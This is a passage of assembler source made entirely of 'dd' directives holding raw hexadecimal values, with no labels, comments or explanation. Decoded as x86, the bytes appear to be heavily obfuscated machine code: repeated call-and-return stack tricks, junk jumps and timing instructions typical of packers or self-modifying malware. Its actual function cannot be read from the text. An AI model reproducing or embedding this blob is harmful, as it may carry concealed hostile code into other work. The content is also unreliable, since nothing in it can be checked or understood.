0C973E9A1h, 50C58AB8h, 0B8359A7Eh, 95FFF9E6h, 60B32DDh dd 19B1958Bh, 2B61060Bh, 0B021D95h, 9E806h, 1A860000h dd 0B4E3F2FEh, 0BA185F7Ah, 4CF3CAB2h, 0FF73E95Ah, 9D23FFFFh dd 60B01E9h dd 106C7h, 0C2800000h, 7CBD8373h, 5060B4Dh, 12F850Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0FCA3C9C3h, 0ABEDAE7Eh, 0B58BD18Bh, 60B2F4Dh, 2098D89h dd 10E8060Bh, 2B000000h, 0A40052D7h, 47D786BBh, 6FD9A36h dd 5164D103h, 5A5A5B52h, 64B9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0AA065255h dd 39266FF7h, 0DDD958Bh, 0C281060Bh, 5CBE9A5Fh, 0A91E7BBh dd 0E83E8014h, 37840Fh, 10E80000h, 70000000h, 4B6BB8E0h dd 0B52BD1C0h, 749EF1B1h, 8B11E0DFh, 0B196D95h, 23E95B06h dd 0E8000000h, 0Ah, 2F33AECCh, 0EC99B16Dh, 0BD894976h dd 60B2B61h, 57E805Bh, 49840FC2h, 80000000h, 894644E2h dd 0B2879BDh, 850F4906h, 0FFFFFFA5h, 6890Fh, 958B0000h dd 60B0E95h, 40E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0F1DCA04Ch, 858930C3h dd 60B1FD1h, 1881B589h, 0CE8060Bh, 1F000000h, 0E5C1ABA7h dd 78274D91h, 0F8EBD571h, 0BF0F585Ah, 89BD83DFh, 60B31h dd 101840Fh, 8C0F0000h, 6, 29DBD89h, 0B589060Bh, 60B0E01h dd 11E960h, 81360000h, 329DCC22h, 4B55B80Ah, 0B4972C7Ah dd 0C6E02A5Eh, 0B284585h, 6A5406h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FC831C3h, 5568D2BFh dd 66E662AFh, 81E15FBAh, 11A12434h, 11E8192Ch, 52000000h dd 2CC65677h, 325CBDC3h, 0DD0B1593h, 0E9933C0h, 15059533h dd 8B5A060Bh, 55B5FFDFh, 6A060B13h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 80D1C351h dd 9D03F78Ah, 60B00ADh, 7D18858Dh, 0B70F060Eh, 50D0FFDBh dd 5BC7CB80h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 97073DC3h, 6A53A0A9h, 0B531357Ah dd 60B12BDh, 3189B5FFh, 9D8B060Bh, 60B026Dh, 0EA81D0FFh dd 16323835h, 0A3D28161h, 0C7052B43h, 0B29BD85h, 106h dd 59BD8900h, 8B060B24h, 0B20E195h, 6A6006h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6663A7C3h dd 829CC281h, 4E8h, 8000h, 2A9EBA00h, 5750554Ah, 310F5250h dd 8D0Fh, 585A0000h, 24448B5Ah, 8B008B04h, 244489D7h, 6A5804h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 7EE086C3h, 0F6C85FAAh, 0FF6A4103h, 0FFDF8B66h, 0B1BBD95h dd 31958B06h, 31060B0Dh, 0B291985h, 6A6106h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 313E51C3h dd 103329DBh, 81D7CA15h, 530DF8EAh, 0CE85051h, 94000000h dd 0BFC8EEFAh, 96E06E60h, 60F48190h, 4E2EBF66h, 4895B61h dd 0D38B6624h, 28E9858Bh, 8B66060Bh, 0FC00BDFh, 3A84h dd 59D8B00h, 0FF060B29h, 0B221D95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C157DE0Dh dd 3EF8DC99h, 0B260461Ah, 0F1816684h, 0C761EE0Bh, 0B009185h dd 106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0F50AA1E2h, 88CEDF62h, 75BD83E4h dd 60B06h, 30840Fh, 9D330000h, 60B29B9h, 7DD95FFh, 6A060Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 6BD4B5C3h, 1C6792D7h, 0BD830DB4h, 60B0169h, 0F840F00h dd 81000000h, 50D96DDBh, 8995FF5Eh, 60060B1Ah, 0BD8361F5h dd 60B0155h, 35840F00h, 83000000h, 0B00B5BDh, 850F0006h dd 28h, 6595FFF5h, 6A060B0Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 1D1AC351h, 0E9A3E4AFh dd 29E9BD83h, 0F00060Bh, 2884h, 7D9D2300h, 81060B17h, 0B2A3585h dd 400306h, 0B5895200h, 60B1349h, 9985815Bh, 3060B12h dd 8B000040h, 0B114195h, 89310F06h, 0B1971B5h, 7F8D8D06h dd 6A060B5Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0FA9DC352h, 5478947Dh, 8B9C6712h dd 8A0189D0h, 6AC233FDh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 4FAFC352h, 11E97Dh dd 0DD420000h, 0CE9C8071h, 0B74BD0CFh, 63CCA841h, 0E93594B8h dd 11h, 0A8BDB7E7h, 43FAE3B8h, 6E1DD302h, 0C4D450BBh, 4418962h dd 66310FFCh, 8D50ACBBh, 0B5D918Dh, 0CD952906h, 51060B05h dd 14E9h, 0E88B2B00h, 712244DEh, 5E4FBA7Fh, 8CF38853h dd 52BA98D5h, 1895B65h, 0C2333DB2h, 68B0Fh, 0BD010000h dd 60B163Dh, 57044189h, 5AD98B66h, 19870Fh, 0DE80000h dd 4B000000h, 3C5F7E8Fh, 30BF98C0h, 0C053D65Dh, 1B718D89h dd 835A060Bh, 0B0219BDh, 840F0006h, 7Dh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 23C35040h, 0F7B80C12h dd 14E96Dh, 0D1640000h, 4A2B4047h, 7AF8285Fh, 0DD9E18DBh dd 0BCF94A75h, 9D8B8985h, 60B1839h, 10E9h, 0ECEFC600h dd 0E6AE296Ch, 7A496487h, 5380C92h, 0F995FFCCh, 6A060B0Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 313FC353h, 0B15F985h, 31BD8306h, 1060B28h dd 4B850Fh, 46E90000h, 9000000h, 0B0C55BDh, 26B58B06h dd 0C7060B5Fh, 6, 0D1B58B00h, 0C7060B5Ch, 6, 0AE9CF00h dd 0FE000000h, 0E6D53ACBh, 14D4E07Ch, 12E9E7h, 4D2A0000h dd 95195A32h, 0D644025Ah, 6C2E7C34h, 0E22247D3h, 91BD83FCh dd 60B00h, 16B840Fh, 3F50000h, 0B07C59Dh, 79BD8306h, 1060B32h dd 142850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0C549D9C3h, 5632F19Dh, 0E8E4A40Bh dd 0Fh, 1F7DC7Eh, 27477EC7h, 95A3F052h, 80A5382Ch, 8B5ACEDEh dd 0B4D708Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0B37AA0BAh, 1F750089h, 8D2360B5h dd 60B04F5h, 29A1850Bh, 0C661060Bh, 6A0001h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1024C8C3h dd 0BF0755FCh, 60DF8BE9h, 158D9D8Bh, 4E8060Bh, 80000000h dd 0F000000h, 0A8Fh, 7AB06000h, 850Fh, 50610000h, 8BD68B66h dd 0B7042444h, 0B6008B50h, 2444890Eh, 4115BA04h, 89581D36h dd 0B039985h, 8BFF6A06h, 0B321D95h, 0BD95FF06h, 29060B1Bh dd 0B12959Dh, 6A6106h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 79F2CCC3h, 92CE099Bh, 0D7BF0F38h dd 2B3D95FFh, 958B060Bh, 60B0951h, 6890Fh, 958B0000h, 60B29D5h dd 4D708D8Bh, 0B589060Bh, 60B280Dh, 0B50101FEh, 60B03B9h dd 0CDBD83h, 0F01060Bh, 885h, 95095300h, 60B0E4Dh, 0B2C08B5Bh dd 0BDBD8381h, 60B05h, 0BD830975h, 60B29D1h, 501A7400h dd 8BC08B53h, 0B2A3585h, 35858906h, 8D060B2Ah, 0DB31A9Dh dd 5BD3FF06h dd 0D1BD8358h, 60B29h, 53501874h, 2A35858Bh, 8589060Bh dd 60B2A35h, 0B0099D8Dh, 0D3FF060Dh, 6A585Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 8B7C3FC3h dd 7899D8Bh, 8166060Bh, 0E9C555DAh, 6, 0ED030293h, 0C08B39EEh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 14C35242h dd 0C3C4E3C2h, 0FA3F5D5h, 48Fh, 0F38A5100h, 9D9D895Bh dd 83060B0Dh, 0B0091BDh, 850F0006h, 33h, 145F55BAh, 0E9BD8344h dd 60B14h, 21840Fh, 5E80000h, 0EE000000h, 32D5AED6h, 11E9h dd 78812C00h, 0B6E7C53Bh, 0B772D309h, 920399DEh, 835ABA1Bh dd 0B0091BDh, 840F0006h, 18h, 60E38166h, 5BD8385h, 60B28h dd 6840Fh, 958B0000h, 60B283Dh, 91BD83h, 0F00060Bh, 3984h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0B0E8DDA3h, 8D9D8B7Eh, 83060B24h, 0B2805BDh dd 840F0006h, 6, 3B59D29h, 0BD83060Bh, 60B0091h, 38840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 24E2C350h, 0BD8320A2h, 60B2EF1h dd 0C840F00h, 0F000000h, 68Ch, 0F18D0100h, 83060B00h, 0B0091BDh dd 840F0006h, 40h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0FEC35545h, 0B29E1995h, 5DBD8324h, 60B2Eh dd 12840Fh, 9D8B0000h, 60B31C9h, 2ADD95FFh, 0B531060Bh dd 60B0399h, 860FC08Bh, 5, 2BE28166h, 0BDBD83FDh, 60B05h dd 0BD830975h, 60B29D1h, 501A7400h, 8BC08B53h, 0B129985h dd 99858906h, 8D060B12h, 0DB3819Dh, 5BD3FF06h, 0D1BD8358h dd 60B29h, 53501874h, 1299858Bh, 8589060Bh, 60B1299h, 0B0229D8Dh dd 0D3FF060Dh, 0BB66585Bh, 6AC55Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B67C6C3h dd 0B011195h, 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 4F4AC356h, 7F4ACBEEh dd 1815B589h, 0BD83060Bh, 60B0091h, 0E840F00h, 0F000005h dd 0B8Ah, 0E7806000h, 7DBD8BF7h, 61060B2Ah, 1FDDBD83h dd 0F02060Bh, 1984h, 0E99D0100h, 83060B0Eh, 0B2831BDh dd 850F0106h, 6, 18459D89h, 0BD83060Bh, 60B1FF9h, 0FA840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 217CC355h, 4C549212h, 60FCDA5Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5BC35242h dd 12E538ECh, 896FAA2Eh, 0B1379BDh, 8BB9B706h, 0B4D708Dh dd 51958B06h, 0FE060B0Fh, 0E8C4B201h, 4, 80h, 50DE8B66h dd 448B90B2h, 85B30424h, 8D0F008Bh, 0Ah, 61605250h, 6160310Fh dd 4489585Ah, 6A580424h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 89DAC351h, 0B24158Dh dd 2CDA8006h, 7E8h, 3EB89D00h, 6F128CDAh, 6860Fh, 0B5890000h dd 60B05EDh, 0B3FF6A5Bh, 0BD95FFEBh, 1060B1Bh, 0B05F195h dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0ECE74BC3h, 8D8B60FCh, 60B4D70h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5CC35242h, 0CF740EF9h dd 3810Fh, 0CB800000h, 6A01FEFFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 288DC357h dd 0B59D2396h, 80060B1Fh, 12E920D3h, 22000000h, 9C335550h dd 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch, 55EA687Dh, 13E8500Dh dd 48000000h, 0B9EB988Ch, 7943471Ah, 1737186Ah, 4639BEC8h dd 0FE9562Eh, 55000000h, 0B6DCAF45h, 0C9A0FF60h, 0DFE6FDFh dd 815B4DA5h, 556A2434h, 6A500Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 7B48F3C3h, 0BACA461Dh dd 0BE9F8h, 507E0000h, 980CF291h, 9FBC6B6Bh, 23FF6A43h dd 0B2A5195h, 0BD95FF06h, 0F5060B1Bh, 53006A61h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 90560913h, 8D0E1CC1h, 0B043DBDh, 0EC76BB06h, 890F383Ch dd 0Fh, 7E853h, 74BC0000h, 8B982CF5h, 8B5B5BE7h, 958B1C4Fh dd 60B1871h, 9D8B016Ah, 60B0EE9h, 56525050h, 7E8h, 665FE800h dd 6A0BCCB0h, 310F5B5Bh, 48B0Fh, 0BB660000h, 585A8452h dd 33240C89h, 0B179595h, 0CA858D06h, 6A060E3Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 7877C353h, 8D1D00A1h, 0BA5163F3h, 41C22ACCh, 3870Fh dd 0CB800000h, 29D0FF26h, 0B218D9Dh, 204F8B06h, 840Fh dd 80530000h, 6A5A11F3h, 0C5952903h, 89060B29h, 0B0C35B5h dd 8B665006h, 240C89D9h, 12E9h, 4D15E500h, 0E3CA79E3h dd 0BEB6024Ch, 0F7A041Fh, 8D6E8D06h, 0E3ECA85h, 65952906h dd 0FF060B13h, 0F5958BD0h, 8B060B03h, 0B31ED9Dh, 3DBD8D06h dd 6A060B04h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0F51C351h, 0E2C96D77h, 89147D7Ah dd 0B0741BDh, 8BE1B606h, 85891C4Fh, 60B19EDh, 0CD950960h dd 0E9060B08h, 0Fh, 0FEBB7CCFh, 80FACEA1h, 0BE6B5D8Fh dd 61F210FAh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8F0FAEC3h, 6, 3339B531h, 0E850060Bh dd 14h, 5521C9CAh, 4459708Ah, 0CC2C8927h, 9BF943C7h, 0BE0C1889h dd 0AE952h, 43820000h, 0CA0D95CAh, 7629243Fh, 0C895A5Bh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 8166C6B8h, 8D1285F3h, 0E3ECA85h, 0C0BB6606h dd 619589F0h, 0FF060B28h, 8FBB66D0h, 59CFBB29h, 4F8B2EF3h dd 71958B20h, 6A060B17h, 0E9DF8B03h, 0Ah, 0B0140F78h, 86124D8Ah dd 0E8919598h, 0Bh, 955E3966h, 7BB7B5F9h, 6625A982h, 5B37D1BBh dd 912BB750h, 0CA858DF5h, 0F060E3Eh, 686h, 498D8900h, 66060B27h dd 69DCD281h, 9D89D0FFh, 60B31B1h, 4D708D8Bh, 9589060Bh dd 60B1069h, 952B01FEh, 60B0E1Dh, 4D70858Bh, 6A060Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 3F1BDDC3h, 12E9h, 66066600h, 5D4F0FB9h, 3A3627ABh, 70E89D12h dd 60A701D7h, 8DBD0156h, 58060B22h, 0D19D2950h, 5E060B27h dd 6600FE61h, 16ADA8Bh, 5F6F68F5h, 0DE8A90A3h, 90243481h dd 8B6F5CC0h, 0B0B399Dh, 0D4858D06h, 81060E3Eh, 5336DCF3h dd 3D0FF53h, 0B249D9Dh, 0E9BD8306h, 60B14h, 105840Fh, 10E90000h dd 60000000h, 0E9D09D8Ah, 0BC34961Ch, 952B7136h, 83E56A84h dd 0B0B19BDh, 850F0106h, 0E3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 54C35343h, 382E90FDh, 0C19D8BC7h dd 8D060B02h, 0E3EDE8Dh, 0CE9CBB06h, 14E85AAFh, 3F000000h dd 90D43CB3h, 9CC110FFh, 33EC0439h dd 6F6D1505h, 80F976DCh, 6A5A6CCBh, 0E2B06003h, 16799589h dd 6A61060Bh, 56006A01h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0D1FFC926h, 5ED8D89h, 16A060Bh, 0DE9h dd 8EF9DC00h, 0BB7CCFAAh, 0FACEA1FEh, 16A8F80h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 92C35040h, 0E59D8929h dd 80060B0Ah, 0D1FFC0E7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 1FC35040h, 505BD7E8h, 6AFC8AFAh, 94E38120h dd 6A5BB792h, 69C380FFh, 1BBD95FFh, 8F0F060Bh, 3, 0B8D08B66h dd 0 dd 2DF1B589h, 0C00B060Bh, 45840Fh, 9D290000h, 60B1969h dd 2F21BD83h, 0F00060Bh, 3284h, 0E3BA6600h, 1D95FF6Bh dd 6A060B10h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0EF5FC357h, 77AFA6AFh, 0FEBB558Dh dd 8B2A0FBAh, 0B2EC585h, 56BB6606h, 0C65Eh, 51DABF0Fh dd 585B13B3h, 0D98C66F9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0CAC35040h, 0BD687961h, 0BEEA80A3h, 0F04C1F6h dd 5E84h, 69D78000h, 56E9h, 0BE900h, 0BAC10000h, 0AE88C8B1h dd 0AC8F6917h, 75B58BA5h, 0E8060B1Fh, 5, 0C50CD5A8h, 5B40B3A2h dd 1180C681h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0E5D744C3h, 19B88E57h, 0C7DF8BDBh dd 6, 5EF48A00h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0D8C35141h, 85897599h, 60B2479h, 531BD89h, 0EE80060Bh dd 0F883D6h, 0BA3840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0C7BC73C3h, 45F3EF73h dd 0F883BEBDh, 0B9850F01h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F17C350h dd 682h, 65B58900h, 0B8060B0Ch, 0 dd 2ED58D01h, 0C00B060Bh, 0ED840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E96E1CC3h dd 10h, 62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h, 0F59ABE0Bh dd 0C1BD89h, 0F883060Bh, 0CC840F01h, 66000000h, 5225EBBBh dd 0BAA8BA56h, 5A5A7BAEh, 0F03F883h, 3F84h, 3D9D2900h dd 2B060B09h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 39B8AE23h, 44114CE8h, 0BD8D0A1Fh dd 5B7974h, 9361BB66h, 9D8BE7FFh, 60B0C41h, 1B8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 2BF7B62Dh, 7E0AF023h, 0BE92AACh, 0D5000000h, 5AA0DA9Ah dd 9D4E5BAFh, 0BB665F8Ch, 0BD8D8CB2h, 5B7974h, 2B02CABBh dd 7D958929h, 0FF060B17h, 0B1BD89E7h, 8D060B15h, 0B43FCBDh dd 4FE78006h, 2B2E9h, 39B58900h, 0F060B04h, 686h, 458D8900h dd 0C7060B09h, 0B4DCB85h, 506h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0B4F4AC50h dd 9D8B2CB7h, 60B029Dh, 10880Fh, 0BE90000h, 0A0000000h dd 1106ABF6h, 936DF13Eh, 5B8033Eh, 0F000000h, 1680h, 0BE800h dd 5D9F0000h, 154AB9BBh, 0AF4668FCh, 0B707BB17h, 0E95B35FEh dd 93Fh, 2A86BB66h, 0F02F883h, 10085h, 619D8B00h, 0B8060B1Ah dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7BC35545h dd 0E9131450h, 9, 4D40991Dh, 0D80FEC60h, 0A173BAECh, 0C00B6085h dd 87840Fh, 0D08B0000h, 0F01F883h, 0FFFF3684h, 89DE8BFFh dd 0B244DB5h, 3F88306h, 0FEAE840Fh, 6AFFFFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0F5FAE5C3h dd 0CA5ED4D2h, 9D8B8722h, 60B2471h, 0B8h, 61958900h, 8D060B18h dd 5B7974BDh, 1AB56000h, 6AE7FF61h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 729BC356h dd 9749AB6Fh, 1B251ABh, 0B29ED95h, 0F4BD8D06h, 29060B45h dd 0B05B1BDh, 149E906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0BCCD4DC3h, 99E0D719h dd 3F883ADh, 21850Fh, 0BF0F0000h, 88BD8DD1h, 80060B47h dd 0CE906C3h, 29000001h, 0B19799Dh, 4890F06h, 66000000h dd 83637BBBh, 850F05F8h, 2Dh, 0E321C7BBh, 7F5E917h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0DA336BC3h, 0BF0F30EFh, 6F883D2h, 1F850Fh, 0BD890000h dd 60B0B09h, 4980BD8Dh, 0DA8B060Bh, 13F99D23h, 0A4E9060Bh dd 33000000h, 0B066995h, 7F88306h, 1D850Fh, 85890000h dd 60B0EC9h, 24BDBD8Dh, 952060Bh, 0B20998Dh, 49E95B06h dd 60000001h, 8361D18Bh, 850F0AF8h, 6Fh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 19h, 1C35646h, 397F0661h dd 85BD29D5h, 8D060B09h, 0B4B78BDh, 159D8B06h, 0E9060B0Dh dd 37h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch dd 7EC35646h, 1B55C854h, 470DC037h, 0EE9h, 0E6578D00h dd 0FA4E6Eh, 9DFBC2BCh, 57EDDF97h, 9E9h, 732D6000h, 0E5DA614Dh dd 0E2B9D8FCh, 6A3CEB60h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 6CC8C352h, 0D0695EE5h dd 7F5B2EC5h, 0DA816653h, 835B9CE0h, 840F003Fh, 56h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 42C35040h, 3E68A4CFh dd 0F306B8Ah, 0BAD88B66h, 643FC9BBh, 72BAC9D1h, 475686C2h dd 5587BA66h, 0FFFFBAE9h, 11E960FFh, 5000000h, 0B6B010A8h dd 0B1E4F51Ch, 28B76CF2h, 0C2DDED80h, 6A5F61FCh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 4C2C352h, 0DF4164FFh, 0E82F4857h, 0BD89D98Bh, 60B3235h dd 4D74BD89h, 0F98A060Bh, 16C58D8Dh, 6A060Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 971444C3h dd 8A0Fh, 0B5FF0000h, 60B2F4Dh, 0F9858DF9h, 50060DA5h dd 54E3BD8Dh, 8D8D060Bh, 60B703Bh, 831ABCB8h, 30CF2B54h dd 47C8D007h, 8DF87549h, 0B6FBAB5h, 538D8D06h, 2B060B70h dd 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h, 60B2F21h dd 0FF067400h, 0B101D95h, 74B58B06h, 8D060B4Dh, 0DA5F985h dd 8DD0FF06h, 0B41D185h, 0C7D0FF06h, 0B067D85h, 106h, 2DA58B00h dd 8B060B10h, 0B2891B5h, 7DAD8B06h, 33060B21h, 0CC2C0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B6C35343h dd 0E85F2067h, 9, 0E795842Eh, 0C3FA63C6h, 91B58973h, 5A060B1Fh dd 9E9h, 7B5E6700h, 0A0EF4A5Bh, 0BF0FED99h, 21BD83DBh dd 60B00h, 4D840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0B03582C3h, 20CD6965h dd 0FFE78C45h, 0B05B595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 85C2AECDh dd 83F96E7Fh, 0B1611BDh, 850F0006h, 17Ah, 17BB6652h, 8B665A7Dh dd 19BD83DAh, 1060B0Bh, 164850Fh, 8A0F0000h, 5, 8E38166h dd 3DBD8391h, 60B0Ch, 14C840Fh, 85890000h, 60B152Dh, 4DC7BD83h dd 0F00060Bh, 13984h, 0E5958B00h, 8D060B0Dh, 0DA5F985h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0C7544B8Fh, 0E9CD591Bh, 12h, 0C8DD43CBh dd 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h, 0B58B0265h, 60B4D74h dd 9521BA66h, 0F8D0FFF8h, 284585C6h, 8B54060Bh, 0B0E1D9Dh dd 89DD6806h, 0DE8EA2Fh, 0DF000000h, 2566BA04h, 0E12C0CE6h dd 0F3E92115h, 5ADF8B56h, 2434815Ah, 15613729h, 1EC5958Bh dd 0B5FF060Bh, 60B0B01h, 8D90EA80h, 0B390D85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 84E62DA5h, 8B66430Dh, 29D0FFD9h, 0B2A6985h, 60006A06h dd 13759D89h, 61F5060Bh, 9E8FF6Ah, 32000000h, 9DCFB18Bh dd 46D67603h, 12E8h, 0FC7B3900h, 0E9B2D496h, 0E642772Eh dd 9CAA3D23h, 80DCF3D8h, 5B5A42F7h, 6AD0FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 878EECC3h dd 59958B9Ch, 0FF060B23h, 0B0655B5h, 4D6FBA06h, 95FF578Ch dd 60B2F4Dh, 15158D89h, 0B58B060Bh, 60B4D74h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 35C35141h, 6C3DC529h dd 3413308h, 0B14E59Dh, 8B0FC306h, 5, 38C38166h, 0C5B58BF9h dd 66060B2Eh, 0F60BD68Bh, 66840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8A5633C3h dd 0CFD9CB33h, 11E935h, 7A5D0000h, 93718E4Eh, 3402EA42h dd 0E5B0B5C8h, 0B6A21B1Ah, 6C695h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0F1C35141h, 7E9h, 10892300h dd 63B0236Bh, 4D7C8589h, 0C680060Bh, 159529C8h, 83060B05h dd 840F00F8h, 315h, 0AAD8D01h, 0B8060Bh, 80000000h, 0AE93BF2h dd 40000000h, 0C32A9319h, 3900823h, 0F883FBh, 0F5840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 3BE85EC3h, 0B70FEC55h, 2F883D1h, 97850Fh dd 0BD290000h, 60B0F11h, 43F7858Dh, 0EE9060Bh, 0D6000000h dd 2C0D0F47h, 9BD0FF50h, 0B661D1D6h, 2DD18B53h, 929h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 89C35646h, 0F79D9B6Dh dd 0D281C638h, 191DA617h, 0EE06BA66h, 0D98B6650h, 6A240489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 746BC353h, 0CAB70F60h, 611AEA80h, 0C3DF8B66h dd 0D6816660h, 0F3B41731h, 68B0F61h, 3000000h, 0B29F59Dh dd 0B806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0BD42ACC3h, 0B589E085h, 60B2039h dd 1FCE9h, 0B8D68B00h, 1, 0E1D1BA66h, 43FCBD8Dh, 9D2B060Bh dd 60B01D1h, 0BEE9h, 0E0BB6600h, 2F883D6h, 53850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8D3D7EC3h, 0B45F4BDh, 659D0306h, 0E9060B03h dd 83h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh dd 66C35747h, 0C498DFDCh, 0EB7C1F66h, 3F883ADh, 28850Fh dd 8A0F0000h, 0Bh, 5840Fh, 81660000h, 8D74F5DBh, 0B4788BDh dd 399D8906h, 0E9060B08h, 33h, 0AC9B589h, 0F883060Bh, 24850F05h dd 60000000h, 0D8CF8166h, 858D8BF9h, 61060B20h, 0B2E9h dd 0E9F08A00h, 0Bh, 12C9BD1Eh, 0FF9BD78Ah, 574C7475h, 